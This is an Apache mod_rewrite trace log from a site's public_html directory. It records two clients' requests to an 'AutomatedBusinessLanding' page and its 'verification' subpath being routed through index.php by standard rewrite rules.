[Mon Nov 10 18:42:01.107501 2025] [rewrite:trace2] [pid 10675:tid 10718] mod_rewrite.c(505): [client 45.80.158.27:45306] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d9c0b08f0/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:01.107511 2025] [rewrite:trace1] [pid 10675:tid 10718] mod_rewrite.c(505): [client 45.80.158.27:45306] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d9c0b08f0/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:03.319150 2025] [rewrite:trace3] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d780136d0/initial] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:03.319227 2025] [rewrite:trace3] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d780136d0/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:03.319238 2025] [rewrite:trace3] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d780136d0/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:03.319260 2025] [rewrite:trace4] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d780136d0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:03.319293 2025] [rewrite:trace4] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d780136d0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:03.319349 2025] [rewrite:trace4] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d780136d0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:03.319356 2025] [rewrite:trace2] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d780136d0/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:03.319381 2025] [rewrite:trace3] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d780136d0/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:03.319397 2025] [rewrite:trace2] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d780136d0/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:03.319408 2025] [rewrite:trace2] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d780136d0/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:03.319418 2025] [rewrite:trace1] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d780136d0/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:03.319602 2025] [rewrite:trace3] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d7809ac58/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:03.319618 2025] [rewrite:trace3] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d7809ac58/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:03.319628 2025] [rewrite:trace3] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d7809ac58/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:03.319640 2025] [rewrite:trace4] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d7809ac58/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:03.319650 2025] [rewrite:trace3] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d7809ac58/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:03.319666 2025] [rewrite:trace3] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d7809ac58/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:03.319676 2025] [rewrite:trace3] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d7809ac58/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:03.319689 2025] [rewrite:trace4] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d7809ac58/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:03.319698 2025] [rewrite:trace1] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d7809ac58/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:03.319968 2025] [rewrite:trace3] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d78109cc0/subreq] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:03.319996 2025] [rewrite:trace3] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d78109cc0/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:03.320006 2025] [rewrite:trace3] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d78109cc0/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:03.320022 2025] [rewrite:trace4] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d78109cc0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:03.320037 2025] [rewrite:trace4] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d78109cc0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:03.320055 2025] [rewrite:trace4] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d78109cc0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:03.320065 2025] [rewrite:trace2] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d78109cc0/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:03.320075 2025] [rewrite:trace3] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d78109cc0/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:03.320085 2025] [rewrite:trace2] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d78109cc0/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:03.320094 2025] [rewrite:trace2] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d78109cc0/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:03.320103 2025] [rewrite:trace1] [pid 10763:tid 10788] mod_rewrite.c(505): [client 45.80.158.27:45322] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d78109cc0/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:32.191002 2025] [rewrite:trace3] [pid 11083:tid 11149] mod_rewrite.c(505): [client 45.133.74.53:33466] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe918034cb0/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:32.191043 2025] [rewrite:trace3] [pid 11083:tid 11149] mod_rewrite.c(505): [client 45.133.74.53:33466] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe918034cb0/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:32.191060 2025] [rewrite:trace4] [pid 11083:tid 11149] mod_rewrite.c(505): [client 45.133.74.53:33466] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe918034cb0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:32.191077 2025] [rewrite:trace4] [pid 11083:tid 11149] mod_rewrite.c(505): [client 45.133.74.53:33466] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe918034cb0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:32.191102 2025] [rewrite:trace4] [pid 11083:tid 11149] mod_rewrite.c(505): [client 45.133.74.53:33466] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe918034cb0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:32.191112 2025] [rewrite:trace2] [pid 11083:tid 11149] mod_rewrite.c(505): [client 45.133.74.53:33466] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe918034cb0/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:32.191123 2025] [rewrite:trace3] [pid 11083:tid 11149] mod_rewrite.c(505): [client 45.133.74.53:33466] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe918034cb0/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:32.191135 2025] [rewrite:trace2] [pid 11083:tid 11149] mod_rewrite.c(505): [client 45.133.74.53:33466] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe918034cb0/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:32.191147 2025] [rewrite:trace2] [pid 11083:tid 11149] mod_rewrite.c(505): [client 45.133.74.53:33466] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe918034cb0/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:32.191156 2025] [rewrite:trace1] [pid 11083:tid 11149] mod_rewrite.c(505): [client 45.133.74.53:33466] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe918034cb0/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:32.191244 2025] [rewrite:trace3] [pid 11083:tid 11149] mod_rewrite.c(505): [client 45.133.74.53:33466] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe918039a88/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:32.191260 2025] [rewrite:trace3] [pid 11083:tid 11149] mod_rewrite.c(505): [client 45.133.74.53:33466] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe918039a88/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:32.191269 2025] [rewrite:trace3] [pid 11083:tid 11149] mod_rewrite.c(505): [client 45.133.74.53:33466] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe918039a88/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:32.191281 2025] [rewrite:trace4] [pid 11083:tid 11149] mod_rewrite.c(505): [client 45.133.74.53:33466] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe918039a88/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:32.191299 2025] [rewrite:trace3] [pid 11083:tid 11149] mod_rewrite.c(505): [client 45.133.74.53:33466] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe918039a88/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:32.191337 2025] [rewrite:trace3] [pid 11083:tid 11149] mod_rewrite.c(505): [client 45.133.74.53:33466] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe918039a88/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:32.191366 2025] [rewrite:trace3] [pid 11083:tid 11149] mod_rewrite.c(505): [client 45.133.74.53:33466] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe918039a88/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:32.191381 2025] [rewrite:trace4] [pid 11083:tid 11149] mod_rewrite.c(505): [client 45.133.74.53:33466] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe918039a88/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:32.191391 2025] [rewrite:trace1] [pid 11083:tid 11149] mod_rewrite.c(505): [client 45.133.74.53:33466] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe918039a88/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:32.191580 2025] [rewrite:trace3] [pid 11083:tid 11149] mod_rewrite.c(505): [client 45.133.74.53:33466] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe918184fb0/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:32.191599 2025] [rewrite:trace3] [pid 11083:tid 11149] mod_rewrite.c(505): [client 45.133.74.53:33466] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe918184fb0/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:32.191613 2025] [rewrite:trace4] [pid 11083:tid 11149] mod_rewrite.c(505): [client 45.133.74.53:33466] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe918184fb0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:32.191627 2025] [rewrite:trace4] [pid 11083:tid 11149] mod_rewrite.c(505): [client 45.133.74.53:33466] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe918184fb0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:32.191644 2025] [rewrite:trace4] [pid 11083:tid 11149] mod_rewrite.c(505): [client 45.133.74.53:33466] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe918184fb0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:32.191654 2025] [rewrite:trace2] [pid 11083:tid 11149] mod_rewrite.c(505): [client 45.133.74.53:33466] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe918184fb0/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:32.191664 2025] [rewrite:trace3] [pid 11083:tid 11149] mod_rewrite.c(505): [client 45.133.74.53:33466] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe918184fb0/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:32.191674 2025] [rewrite:trace2] [pid 11083:tid 11149] mod_rewrite.c(505): [client 45.133.74.53:33466] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe918184fb0/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:32.191684 2025] [rewrite:trace2] [pid 11083:tid 11149] mod_rewrite.c(505): [client 45.133.74.53:33466] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe918184fb0/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:32.191693 2025] [rewrite:trace1] [pid 11083:tid 11149] mod_rewrite.c(505): [client 45.133.74.53:33466] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe918184fb0/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:34.120449 2025] [rewrite:trace3] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0032b00/initial] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:34.120529 2025] [rewrite:trace3] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0032b00/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:34.120540 2025] [rewrite:trace3] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0032b00/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:34.120562 2025] [rewrite:trace4] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0032b00/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:34.120627 2025] [rewrite:trace4] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0032b00/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:34.120627 2025] [rewrite:trace4] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0032b00/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
